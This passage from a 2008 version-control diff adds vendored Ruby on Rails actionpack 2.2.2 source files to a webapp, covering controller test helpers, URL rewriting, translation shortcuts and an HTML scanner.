+  #     tests WidgetController
+  #   end
+  class TestCase < ActiveSupport::TestCase
+    # When the request.remote_addr remains the default for testing, which is 0.0.0.0, the exception is simply raised inline
+    # (bystepping the regular exception handling from rescue_action). If the request.remote_addr is anything else, the regular
+    # rescue_action process takes place. This means you can test your rescue_action code by setting remote_addr to something else
+    # than 0.0.0.0.
+    #
+    # The exception is stored in the exception accessor for further inspection.
+    module RaiseActionExceptions
+      attr_accessor :exception
+
+      def rescue_action_without_handler(e)
+        self.exception = e
+        
+        if request.remote_addr == "0.0.0.0"
+          raise(e)
+        else
+          super(e)
+        end
+      end
+    end
+
+    setup :setup_controller_request_and_response
+
+    @@controller_class = nil
+
+    class << self
+      # Sets the controller class name. Useful if the name can't be inferred from test class.
+      # Expects +controller_class+ as a constant. Example: <tt>tests WidgetController</tt>.
+      def tests(controller_class)
+        self.controller_class = controller_class
+      end
+
+      def controller_class=(new_class)
+        prepare_controller_class(new_class)
+        write_inheritable_attribute(:controller_class, new_class)
+      end
+
+      def controller_class
+        if current_controller_class = read_inheritable_attribute(:controller_class)
+          current_controller_class
+        else
+          self.controller_class = determine_default_controller_class(name)
+        end
+      end
+
+      def determine_default_controller_class(name)
+        name.sub(/Test$/, '').constantize
+      rescue NameError
+        raise NonInferrableControllerError.new(name)
+      end
+
+      def prepare_controller_class(new_class)
+        new_class.send :include, RaiseActionExceptions
+      end
+    end
+
+    def setup_controller_request_and_response
+      @controller = self.class.controller_class.new
+      @controller.request = @request = TestRequest.new
+      @response = TestResponse.new
+
+      @controller.params = {}
+      @controller.send(:initialize_current_url)
+    end
+    
+    # Cause the action to be rescued according to the regular rules for rescue_action when the visitor is not local
+    def rescue_action_in_public!
+      @request.remote_addr = '208.77.188.166' # example.com
+    end
+ end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/test_process.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/test_process.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/test_process.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,531 @@
+require 'action_controller/assertions'
+require 'action_controller/test_case'
+
+module ActionController #:nodoc:
+  class Base
+    attr_reader :assigns
+
+    # Process a test request called with a TestRequest object.
+    def self.process_test(request)
+      new.process_test(request)
+    end
+
+    def process_test(request) #:nodoc:
+      process(request, TestResponse.new)
+    end
+
+    def process_with_test(*args)
+      returning process_without_test(*args) do
+        @assigns = {}
+        (instance_variable_names - @@protected_instance_variables).each do |var|
+          value = instance_variable_get(var)
+          @assigns[var[1..-1]] = value
+          response.template.assigns[var[1..-1]] = value if response
+        end
+      end
+    end
+
+    alias_method_chain :process, :test
+  end
+
+  class TestRequest < AbstractRequest #:nodoc:
+    attr_accessor :cookies, :session_options
+    attr_accessor :query_parameters, :request_parameters, :path, :session
+    attr_accessor :host, :user_agent
+
+    def initialize(query_parameters = nil, request_parameters = nil, session = nil)
+      @query_parameters   = query_parameters || {}
+      @request_parameters = request_parameters || {}
+      @session            = session || TestSession.new
+
+      initialize_containers
+      initialize_default_values
+
+      super()
+    end
+
+    def reset_session
+      @session = TestSession.new
+    end
+
+    # Wraps raw_post in a StringIO.
+    def body_stream #:nodoc:
+      StringIO.new(raw_post)
+    end
+
+    # Either the RAW_POST_DATA environment variable or the URL-encoded request
+    # parameters.
+    def raw_post
+      env['RAW_POST_DATA'] ||= returning(url_encoded_request_parameters) { |b| b.force_encoding(Encoding::BINARY) if b.respond_to?(:force_encoding) }
+    end
+
+    def port=(number)
+      @env["SERVER_PORT"] = number.to_i
+      port(true)
+    end
+
+    def action=(action_name)
+      @query_parameters.update({ "action" => action_name })
+      @parameters = nil
+    end
+
+    # Used to check AbstractRequest's request_uri functionality.
+    # Disables the use of @path and @request_uri so superclass can handle those.
+    def set_REQUEST_URI(value)
+      @env["REQUEST_URI"] = value
+      @request_uri = nil
+      @path = nil
+      request_uri(true)
+      path(true)
+    end
+
+    def request_uri=(uri)
+      @request_uri = uri
+      @path = uri.split("?").first
+    end
+
+    def accept=(mime_types)
+      @env["HTTP_ACCEPT"] = Array(mime_types).collect { |mime_types| mime_types.to_s }.join(",")
+      accepts(true)
+    end
+
+    def if_modified_since=(last_modified)
+      @env["HTTP_IF_MODIFIED_SINCE"] = last_modified
+    end
+
+    def if_none_match=(etag)
+      @env["HTTP_IF_NONE_MATCH"] = etag
+    end
+
+    def remote_addr=(addr)
+      @env['REMOTE_ADDR'] = addr
+    end
+
+    def request_uri(*args)
+      @request_uri || super
+    end
+
+    def path(*args)
+      @path || super
+    end
+
+    def assign_parameters(controller_path, action, parameters)
+      parameters = parameters.symbolize_keys.merge(:controller => controller_path, :action => action)
+      extra_keys = ActionController::Routing::Routes.extra_keys(parameters)
+      non_path_parameters = get? ? query_parameters : request_parameters
+      parameters.each do |key, value|
+        if value.is_a? Fixnum
+          value = value.to_s
+        elsif value.is_a? Array
+          value = ActionController::Routing::PathSegment::Result.new(value)
+        end
+
+        if extra_keys.include?(key.to_sym)
+          non_path_parameters[key] = value
+        else
+          path_parameters[key.to_s] = value
+        end
+      end
+      @parameters = nil # reset TestRequest#parameters to use the new path_parameters
+    end
+
+    def recycle!
+      self.request_parameters = {}
+      self.query_parameters   = {}
+      self.path_parameters    = {}
+      unmemoize_all
+    end
+
+    private
+      def initialize_containers
+        @env, @cookies = {}, {}
+      end
+
+      def initialize_default_values
+        @host                    = "test.host"
+        @request_uri             = "/"
+        @user_agent              = "Rails Testing"
+        self.remote_addr         = "0.0.0.0"
+        @env["SERVER_PORT"]      = 80
+        @env['REQUEST_METHOD']   = "GET"
+      end
+
+      def url_encoded_request_parameters
+        params = self.request_parameters.dup
+
+        %w(controller action only_path).each do |k|
+          params.delete(k)
+          params.delete(k.to_sym)
+        end
+
+        params.to_query
+      end
+  end
+
+  # A refactoring of TestResponse to allow the same behavior to be applied
+  # to the "real" CgiResponse class in integration tests.
+  module TestResponseBehavior #:nodoc:
+    # The response code of the request
+    def response_code
+      status[0,3].to_i rescue 0
+    end
+
+    # Returns a String to ensure compatibility with Net::HTTPResponse
+    def code
+      status.to_s.split(' ')[0]
+    end
+
+    def message
+      status.to_s.split(' ',2)[1]
+    end
+
+    # Was the response successful?
+    def success?
+      (200..299).include?(response_code)
+    end
+
+    # Was the URL not found?
+    def missing?
+      response_code == 404
+    end
+
+    # Were we redirected?
+    def redirect?
+      (300..399).include?(response_code)
+    end
+
+    # Was there a server-side error?
+    def error?
+      (500..599).include?(response_code)
+    end
+
+    alias_method :server_error?, :error?
+
+    # Returns the redirection location or nil
+    def redirect_url
+      headers['Location']
+    end
+
+    # Does the redirect location match this regexp pattern?
+    def redirect_url_match?( pattern )
+      return false if redirect_url.nil?
+      p = Regexp.new(pattern) if pattern.class == String
+      p = pattern if pattern.class == Regexp
+      return false if p.nil?
+      p.match(redirect_url) != nil
+    end
+
+    # Returns the template of the file which was used to
+    # render this response (or nil)
+    def rendered_template
+      template.instance_variable_get(:@_first_render)
+    end
+
+    # A shortcut to the flash. Returns an empty hash if no session flash exists.
+    def flash
+      session['flash'] || {}
+    end
+
+    # Do we have a flash?
+    def has_flash?
+      !session['flash'].empty?
+    end
+
+    # Do we have a flash that has contents?
+    def has_flash_with_contents?
+      !flash.empty?
+    end
+
+    # Does the specified flash object exist?
+    def has_flash_object?(name=nil)
+      !flash[name].nil?
+    end
+
+    # Does the specified object exist in the session?
+    def has_session_object?(name=nil)
+      !session[name].nil?
+    end
+
+    # A shortcut to the template.assigns
+    def template_objects
+      template.assigns || {}
+    end
+
+    # Does the specified template object exist?
+    def has_template_object?(name=nil)
+      !template_objects[name].nil?
+    end
+
+    # Returns the response cookies, converted to a Hash of (name => CGI::Cookie) pairs
+    #
+    #   assert_equal ['AuthorOfNewPage'], r.cookies['author'].value
+    def cookies
+      headers['cookie'].inject({}) { |hash, cookie| hash[cookie.name] = cookie; hash }
+    end
+
+    # Returns binary content (downloadable file), converted to a String
+    def binary_content
+      raise "Response body is not a Proc: #{body.inspect}" unless body.kind_of?(Proc)
+      require 'stringio'
+
+      sio = StringIO.new
+      body.call(self, sio)
+
+      sio.rewind
+      sio.read
+    end
+  end
+
+  # Integration test methods such as ActionController::Integration::Session#get
+  # and ActionController::Integration::Session#post return objects of class
+  # TestResponse, which represent the HTTP response results of the requested
+  # controller actions.
+  #
+  # See AbstractResponse for more information on controller response objects.
+  class TestResponse < AbstractResponse
+    include TestResponseBehavior
+    
+    def recycle!
+      headers.delete('ETag')
+      headers.delete('Last-Modified')
+    end
+  end
+
+  class TestSession #:nodoc:
+    attr_accessor :session_id
+
+    def initialize(attributes = nil)
+      @session_id = ''
+      @attributes = attributes.nil? ? nil : attributes.stringify_keys
+      @saved_attributes = nil
+    end
+
+    def data
+      @attributes ||= @saved_attributes || {}
+    end
+
+    def [](key)
+      data[key.to_s]
+    end
+
+    def []=(key, value)
+      data[key.to_s] = value
+    end
+
+    def update
+      @saved_attributes = @attributes
+    end
+
+    def delete
+      @attributes = nil
+    end
+
+    def close
+      update
+      delete
+    end
+  end
+
+  # Essentially generates a modified Tempfile object similar to the object
+  # you'd get from the standard library CGI module in a multipart
+  # request. This means you can use an ActionController::TestUploadedFile
+  # object in the params of a test request in order to simulate
+  # a file upload.
+  #
+  # Usage example, within a functional test:
+  #   post :change_avatar, :avatar => ActionController::TestUploadedFile.new(Test::Unit::TestCase.fixture_path + '/files/spongebob.png', 'image/png')
+  #
+  # Pass a true third parameter to ensure the uploaded file is opened in binary mode (only required for Windows):
+  #   post :change_avatar, :avatar => ActionController::TestUploadedFile.new(Test::Unit::TestCase.fixture_path + '/files/spongebob.png', 'image/png', :binary)
+  require 'tempfile'
+  class TestUploadedFile
+    # The filename, *not* including the path, of the "uploaded" file
+    attr_reader :original_filename
+
+    # The content type of the "uploaded" file
+    attr_accessor :content_type
+
+    def initialize(path, content_type = Mime::TEXT, binary = false)
+      raise "#{path} file does not exist" unless File.exist?(path)
+      @content_type = content_type
+      @original_filename = path.sub(/^.*#{File::SEPARATOR}([^#{File::SEPARATOR}]+)$/) { $1 }
+      @tempfile = Tempfile.new(@original_filename)
+      @tempfile.set_encoding(Encoding::BINARY) if @tempfile.respond_to?(:set_encoding)
+      @tempfile.binmode if binary
+      FileUtils.copy_file(path, @tempfile.path)
+    end
+
+    def path #:nodoc:
+      @tempfile.path
+    end
+
+    alias local_path path
+
+    def method_missing(method_name, *args, &block) #:nodoc:
+      @tempfile.__send__(method_name, *args, &block)
+    end
+  end
+
+  module TestProcess
+    def self.included(base)
+      # execute the request simulating a specific HTTP method and set/volley the response
+      # TODO: this should be un-DRY'ed for the sake of API documentation.
+      %w( get post put delete head ).each do |method|
+        base.class_eval <<-EOV, __FILE__, __LINE__
+          def #{method}(action, parameters = nil, session = nil, flash = nil)
+            @request.env['REQUEST_METHOD'] = "#{method.upcase}" if defined?(@request)
+            process(action, parameters, session, flash)
+          end
+        EOV
+      end
+    end
+
+    # execute the request and set/volley the response
+    def process(action, parameters = nil, session = nil, flash = nil)
+      # Sanity check for required instance variables so we can give an
+      # understandable error message.
+      %w(@controller @request @response).each do |iv_name|
+        if !(instance_variable_names.include?(iv_name) || instance_variable_names.include?(iv_name.to_sym)) || instance_variable_get(iv_name).nil?
+          raise "#{iv_name} is nil: make sure you set it in your test's setup method."
+        end
+      end
+
+      @request.recycle!
+      @response.recycle!
+
+      @html_document = nil
+      @request.env['REQUEST_METHOD'] ||= "GET"
+
+      @request.action = action.to_s
+
+      parameters ||= {}
+      @request.assign_parameters(@controller.class.controller_path, action.to_s, parameters)
+
+      @request.session = ActionController::TestSession.new(session) unless session.nil?
+      @request.session["flash"] = ActionController::Flash::FlashHash.new.update(flash) if flash
+      build_request_uri(action, parameters)
+      @controller.process(@request, @response)
+    end
+
+    def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil)
+      @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
+      @request.env['HTTP_ACCEPT'] = 'text/javascript, text/html, application/xml, text/xml, */*'
+      returning __send__(request_method, action, parameters, session, flash) do
+        @request.env.delete 'HTTP_X_REQUESTED_WITH'
+        @request.env.delete 'HTTP_ACCEPT'
+      end
+    end
+    alias xhr :xml_http_request
+
+    def assigns(key = nil)
+      if key.nil?
+        @response.template.assigns
+      else
+        @response.template.assigns[key.to_s]
+      end
+    end
+
+    def session
+      @response.session
+    end
+
+    def flash
+      @response.flash
+    end
+
+    def cookies
+      @response.cookies
+    end
+
+    def redirect_to_url
+      @response.redirect_url
+    end
+
+    def build_request_uri(action, parameters)
+      unless @request.env['REQUEST_URI']
+        options = @controller.__send__(:rewrite_options, parameters)
+        options.update(:only_path => true, :action => action)
+
+        url = ActionController::UrlRewriter.new(@request, parameters)
+        @request.set_REQUEST_URI(url.rewrite(options))
+      end
+    end
+
+    def html_document
+      xml = @response.content_type =~ /xml$/
+      @html_document ||= HTML::Document.new(@response.body, false, xml)
+    end
+
+    def find_tag(conditions)
+      html_document.find(conditions)
+    end
+
+    def find_all_tag(conditions)
+      html_document.find_all(conditions)
+    end
+
+    def method_missing(selector, *args)
+      if ActionController::Routing::Routes.named_routes.helpers.include?(selector)
+        @controller.send(selector, *args)
+      else
+        super
+      end
+    end
+
+    # Shortcut for <tt>ActionController::TestUploadedFile.new(Test::Unit::TestCase.fixture_path + path, type)</tt>:
+    #
+    #   post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
+    #
+    # To upload binary files on Windows, pass <tt>:binary</tt> as the last parameter.
+    # This will not affect other platforms:
+    #
+    #   post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png', :binary)
+    def fixture_file_upload(path, mime_type = nil, binary = false)
+      ActionController::TestUploadedFile.new(
+        Test::Unit::TestCase.respond_to?(:fixture_path) ? Test::Unit::TestCase.fixture_path + path : path,
+        mime_type,
+        binary
+      )
+    end
+
+    # A helper to make it easier to test different route configurations.
+    # This method temporarily replaces ActionController::Routing::Routes
+    # with a new RouteSet instance.
+    #
+    # The new instance is yielded to the passed block. Typically the block
+    # will create some routes using <tt>map.draw { map.connect ... }</tt>:
+    #
+    #   with_routing do |set|
+    #     set.draw do |map|
+    #       map.connect ':controller/:action/:id'
+    #         assert_equal(
+    #           ['/content/10/show', {}],
+    #           map.generate(:controller => 'content', :id => 10, :action => 'show')
+    #       end
+    #     end
+    #   end
+    #
+    def with_routing
+      real_routes = ActionController::Routing::Routes
+      ActionController::Routing.module_eval { remove_const :Routes }
+
+      temporary_routes = ActionController::Routing::RouteSet.new
+      ActionController::Routing.module_eval { const_set :Routes, temporary_routes }
+
+      yield temporary_routes
+    ensure
+      if ActionController::Routing.const_defined? :Routes
+        ActionController::Routing.module_eval { remove_const :Routes }
+      end
+      ActionController::Routing.const_set(:Routes, real_routes) if real_routes
+    end
+  end
+end
+
+module Test
+  module Unit
+    class TestCase #:nodoc:
+      include ActionController::TestProcess
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/translation.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/translation.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/translation.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+module ActionController
+  module Translation
+    def translate(*args)
+      I18n.translate *args
+    end
+    alias :t :translate
+
+    def localize(*args)
+      I18n.localize *args
+    end
+    alias :l :localize
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/url_rewriter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/url_rewriter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/url_rewriter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,219 @@
+module ActionController
+  # In <b>routes.rb</b> one defines URL-to-controller mappings, but the reverse
+  # is also possible: an URL can be generated from one of your routing definitions.
+  # URL generation functionality is centralized in this module.
+  #
+  # See ActionController::Routing and ActionController::Resources for general
+  # information about routing and routes.rb.
+  #
+  # <b>Tip:</b> If you need to generate URLs from your models or some other place,
+  # then ActionController::UrlWriter is what you're looking for. Read on for
+  # an introduction.
+  #
+  # == URL generation from parameters
+  #
+  # As you may know, some functions - such as ActionController::Base#url_for
+  # and ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set
+  # of parameters. For example, you've probably had the chance to write code
+  # like this in one of your views:
+  #
+  #   <%= link_to('Click here', :controller => 'users',
+  #           :action => 'new', :message => 'Welcome!') %>
+  #
+  #   #=> Generates a link to: /users/new?message=Welcome%21
+  #
+  # link_to, and all other functions that require URL generation functionality,
+  # actually use ActionController::UrlWriter under the hood. And in particular,
+  # they use the ActionController::UrlWriter#url_for method. One can generate
+  # the same path as the above example by using the following code:
+  #
+  #   include UrlWriter
+  #   url_for(:controller => 'users',
+  #           :action => 'new',
+  #           :message => 'Welcome!',
+  #           :only_path => true)
+  #   # => "/users/new?message=Welcome%21"
+  #
+  # Notice the <tt>:only_path => true</tt> part. This is because UrlWriter has no
+  # information about the website hostname that your Rails app is serving. So if you
+  # want to include the hostname as well, then you must also pass the <tt>:host</tt>
+  # argument:
+  #
+  #   include UrlWriter
+  #   url_for(:controller => 'users',
+  #           :action => 'new',
+  #           :message => 'Welcome!',
+  #           :host => 'www.example.com')        # Changed this.
+  #   # => "http://www.example.com/users/new?message=Welcome%21"
+  #
+  # By default, all controllers and views have access to a special version of url_for,
+  # that already knows what the current hostname is. So if you use url_for in your
+  # controllers or your views, then you don't need to explicitly pass the <tt>:host</tt>
+  # argument.
+  #
+  # For convenience reasons, mailers provide a shortcut for ActionController::UrlWriter#url_for.
+  # So within mailers, you only have to type 'url_for' instead of 'ActionController::UrlWriter#url_for'
+  # in full. However, mailers don't have hostname information, and what's why you'll still
+  # have to specify the <tt>:host</tt> argument when generating URLs in mailers.
+  #
+  #
+  # == URL generation for named routes
+  #
+  # UrlWriter also allows one to access methods that have been auto-generated from
+  # named routes. For example, suppose that you have a 'users' resource in your
+  # <b>routes.rb</b>:
+  #
+  #   map.resources :users
+  #
+  # This generates, among other things, the method <tt>users_path</tt>. By default,
+  # this method is accessible from your controllers, views and mailers. If you need
+  # to access this auto-generated method from other places (such as a model), then
+  # you can do that in two ways.
+  #
+  # The first way is to include ActionController::UrlWriter in your class:
+  #
+  #   class User < ActiveRecord::Base
+  #     include ActionController::UrlWriter         # !!!
+  #
+  #     def name=(value)
+  #       write_attribute('name', value)
+  #       write_attribute('base_uri', users_path)   # !!!
+  #     end
+  #   end
+  #
+  # The second way is to access them through ActionController::UrlWriter.
+  # The autogenerated named routes methods are available as class methods:
+  #
+  #   class User < ActiveRecord::Base
+  #     def name=(value)
+  #       write_attribute('name', value)
+  #       path = ActionController::UrlWriter.users_path   # !!!
+  #       write_attribute('base_uri', path)               # !!!
+  #     end
+  #   end
+  module UrlWriter
+    # The default options for urls written by this writer. Typically a <tt>:host</tt>
+    # pair is provided.
+    mattr_accessor :default_url_options
+    self.default_url_options = {}
+
+    def self.included(base) #:nodoc:
+      ActionController::Routing::Routes.install_helpers(base)
+      base.mattr_accessor :default_url_options
+      base.default_url_options ||= default_url_options
+    end
+
+    # Generate a url based on the options provided, default_url_options and the
+    # routes defined in routes.rb.  The following options are supported:
+    #
+    # * <tt>:only_path</tt> - If true, the relative url is returned. Defaults to +false+.
+    # * <tt>:protocol</tt> - The protocol to connect to. Defaults to 'http'.
+    # * <tt>:host</tt> - Specifies the host the link should be targetted at.
+    #   If <tt>:only_path</tt> is false, this option must be
+    #   provided either explicitly, or via +default_url_options+.
+    # * <tt>:port</tt> - Optionally specify the port to connect to.
+    # * <tt>:anchor</tt> - An anchor name to be appended to the path.
+    # * <tt>:skip_relative_url_root</tt> - If true, the url is not constructed using the
+    #   +relative_url_root+ set in ActionController::Base.relative_url_root.
+    # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2009/"
+    #
+    # Any other key (<tt>:controller</tt>, <tt>:action</tt>, etc.) given to
+    # +url_for+ is forwarded to the Routes module.
+    #
+    # Examples:
+    #
+    #    url_for :controller => 'tasks', :action => 'testing', :host=>'somehost.org', :port=>'8080'    # => 'http://somehost.org:8080/tasks/testing'
+    #    url_for :controller => 'tasks', :action => 'testing', :host=>'somehost.org', :anchor => 'ok', :only_path => true    # => '/tasks/testing#ok'
+    #    url_for :controller => 'tasks', :action => 'testing', :trailing_slash=>true  # => 'http://somehost.org/tasks/testing/'
+    #    url_for :controller => 'tasks', :action => 'testing', :host=>'somehost.org', :number => '33'  # => 'http://somehost.org/tasks/testing?number=33'
+    def url_for(options)
+      options = self.class.default_url_options.merge(options)
+
+      url = ''
+
+      unless options.delete(:only_path)
+        url << (options.delete(:protocol) || 'http')
+        url << '://' unless url.match("://")
+
+        raise "Missing host to link to! Please provide :host parameter or set default_url_options[:host]" unless options[:host]
+
+        url << options.delete(:host)
+        url << ":#{options.delete(:port)}" if options.key?(:port)
+      else
+        # Delete the unused options to prevent their appearance in the query string.
+        [:protocol, :host, :port, :skip_relative_url_root].each { |k| options.delete(k) }
+      end
+      trailing_slash = options.delete(:trailing_slash) if options.key?(:trailing_slash)
+      url << ActionController::Base.relative_url_root.to_s unless options[:skip_relative_url_root]
+      anchor = "##{CGI.escape options.delete(:anchor).to_param.to_s}" if options[:anchor]
+      generated = Routing::Routes.generate(options, {})
+      url << (trailing_slash ? generated.sub(/\?|\z/) { "/" + $& } : generated)
+      url << anchor if anchor
+
+      url
+    end
+  end
+
+  # Rewrites URLs for Base.redirect_to and Base.url_for in the controller.
+  class UrlRewriter #:nodoc:
+    RESERVED_OPTIONS = [:anchor, :params, :only_path, :host, :protocol, :port, :trailing_slash, :skip_relative_url_root]
+    def initialize(request, parameters)
+      @request, @parameters = request, parameters
+    end
+
+    def rewrite(options = {})
+      rewrite_url(options)
+    end
+
+    def to_str
+      "#{@request.protocol}, #{@request.host_with_port}, #{@request.path}, #{@parameters[:controller]}, #{@parameters[:action]}, #{@request.parameters.inspect}"
+    end
+
+    alias_method :to_s, :to_str
+
+    private
+      # Given a path and options, returns a rewritten URL string
+      def rewrite_url(options)
+        rewritten_url = ""
+
+        unless options[:only_path]
+          rewritten_url << (options[:protocol] || @request.protocol)
+          rewritten_url << "://" unless rewritten_url.match("://")
+          rewritten_url << rewrite_authentication(options)
+          rewritten_url << (options[:host] || @request.host_with_port)
+          rewritten_url << ":#{options.delete(:port)}" if options.key?(:port)
+        end
+
+        path = rewrite_path(options)
+        rewritten_url << ActionController::Base.relative_url_root.to_s unless options[:skip_relative_url_root]
+        rewritten_url << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path)
+        rewritten_url << "##{options[:anchor]}" if options[:anchor]
+
+        rewritten_url
+      end
+
+      # Given a Hash of options, generates a route
+      def rewrite_path(options)
+        options = options.symbolize_keys
+        options.update(options[:params].symbolize_keys) if options[:params]
+
+        if (overwrite = options.delete(:overwrite_params))
+          options.update(@parameters.symbolize_keys)
+          options.update(overwrite.symbolize_keys)
+        end
+
+        RESERVED_OPTIONS.each { |k| options.delete(k) }
+
+        # Generates the query string, too
+        Routing::Routes.generate(options, @request.symbolized_path_parameters)
+      end
+
+      def rewrite_authentication(options)
+        if options[:user] && options[:password]
+          "#{CGI.escape(options.delete(:user))}:#{CGI.escape(options.delete(:password))}@"
+        else
+          ""
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/document.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/document.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/document.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,68 @@
+require 'html/tokenizer'
+require 'html/node'
+require 'html/selector'
+require 'html/sanitizer'
+
+module HTML #:nodoc:
+  # A top-level HTMl document. You give it a body of text, and it will parse that
+  # text into a tree of nodes.
+  class Document #:nodoc:
+
+    # The root of the parsed document.
+    attr_reader :root
+
+    # Create a new Document from the given text.
+    def initialize(text, strict=false, xml=false)
+      tokenizer = Tokenizer.new(text)
+      @root = Node.new(nil)
+      node_stack = [ @root ]
+      while token = tokenizer.next
+        node = Node.parse(node_stack.last, tokenizer.line, tokenizer.position, token, strict)
+
+        node_stack.last.children << node unless node.tag? && node.closing == :close
+        if node.tag?
+          if node_stack.length > 1 && node.closing == :close
+            if node_stack.last.name == node.name
+              if node_stack.last.children.empty?
+                node_stack.last.children << Text.new(node_stack.last, node.line, node.position, "")
+              end
+              node_stack.pop
+            else
+              open_start = node_stack.last.position - 20
+              open_start = 0 if open_start < 0
+              close_start = node.position - 20
+              close_start = 0 if close_start < 0
+              msg = <<EOF.strip
+ignoring attempt to close #{node_stack.last.name} with #{node.name}
+  opened at byte #{node_stack.last.position}, line #{node_stack.last.line}
+  closed at byte #{node.position}, line #{node.line}
+  attributes at open: #{node_stack.last.attributes.inspect}
+  text around open: #{text[open_start,40].inspect}
+  text around close: #{text[close_start,40].inspect}
+EOF
+              strict ? raise(msg) : warn(msg)
+            end
+          elsif !node.childless?(xml) && node.closing != :close
+            node_stack.push node
+          end
+        end
+      end
+    end
+  
+    # Search the tree for (and return) the first node that matches the given
+    # conditions. The conditions are interpreted differently for different node
+    # types, see HTML::Text#find and HTML::Tag#find.
+    def find(conditions)
+      @root.find(conditions)
+    end
+
+    # Search the tree for (and return) all nodes that match the given
+    # conditions. The conditions are interpreted differently for different node
+    # types, see HTML::Text#find and HTML::Tag#find.
+    def find_all(conditions)
+      @root.find_all(conditions)
+    end
+    
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/node.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/node.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/node.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,537 @@
+require 'strscan'
+
+module HTML #:nodoc:
+  
+  class Conditions < Hash #:nodoc:
+    def initialize(hash)
+      super()
+      hash = { :content => hash } unless Hash === hash
+      hash = keys_to_symbols(hash)
+      hash.each do |k,v|
+        case k
+          when :tag, :content then
+            # keys are valid, and require no further processing
+          when :attributes then
+            hash[k] = keys_to_strings(v)
+          when :parent, :child, :ancestor, :descendant, :sibling, :before,
+                  :after
+            hash[k] = Conditions.new(v)
+          when :children
+            hash[k] = v = keys_to_symbols(v)
+            v.each do |k,v2|
+              case k
+                when :count, :greater_than, :less_than
+                  # keys are valid, and require no further processing
+                when :only
+                  v[k] = Conditions.new(v2)
+                else
+                  raise "illegal key #{k.inspect} => #{v2.inspect}"
+              end
+            end
+          else
+            raise "illegal key #{k.inspect} => #{v.inspect}"
+        end
+      end
+      update hash
+    end
+
+    private
+
+      def keys_to_strings(hash)
+        hash.keys.inject({}) do |h,k|
+          h[k.to_s] = hash[k]
+          h
+        end
+      end
+
+      def keys_to_symbols(hash)
+        hash.keys.inject({}) do |h,k|
+          raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
+          h[k.to_sym] = hash[k]
+          h
+        end
+      end
+  end
+
+  # The base class of all nodes, textual and otherwise, in an HTML document.
+  class Node #:nodoc:
+    # The array of children of this node. Not all nodes have children.
+    attr_reader :children
+    
+    # The parent node of this node. All nodes have a parent, except for the
+    # root node.
+    attr_reader :parent
+    
+    # The line number of the input where this node was begun
+    attr_reader :line
+    
+    # The byte position in the input where this node was begun
+    attr_reader :position
+    
+    # Create a new node as a child of the given parent.
+    def initialize(parent, line=0, pos=0)
+      @parent = parent
+      @children = []
+      @line, @position = line, pos
+    end
+
+    # Return a textual representation of the node.
+    def to_s
+      s = ""
+      @children.each { |child| s << child.to_s }
+      s
+    end
+
+    # Return false (subclasses must override this to provide specific matching
+    # behavior.) +conditions+ may be of any type.
+    def match(conditions)
+      false
+    end
+
+    # Search the children of this node for the first node for which #find
+    # returns non +nil+. Returns the result of the #find call that succeeded.
+    def find(conditions)
+      conditions = validate_conditions(conditions)
+      @children.each do |child|        
+        node = child.find(conditions)
+        return node if node
+      end
+      nil
+    end
+
+    # Search for all nodes that match the given conditions, and return them
+    # as an array.
+    def find_all(conditions)
+      conditions = validate_conditions(conditions)
+
+      matches = []
+      matches << self if match(conditions)
+      @children.each do |child|
+        matches.concat child.find_all(conditions)
+      end
+      matches
+    end
+
+    # Returns +false+. Subclasses may override this if they define a kind of
+    # tag.
+    def tag?
+      false
+    end
+
+    def validate_conditions(conditions)
+      Conditions === conditions ? conditions : Conditions.new(conditions)
+    end
+
+    def ==(node)
+      return false unless self.class == node.class && children.size == node.children.size
+
+      equivalent = true
+
+      children.size.times do |i|
+        equivalent &&= children[i] == node.children[i]
+      end
+
+      equivalent
+    end
+    
+    class <<self
+      def parse(parent, line, pos, content, strict=true)
+        if content !~ /^<\S/
+          Text.new(parent, line, pos, content)
+        else
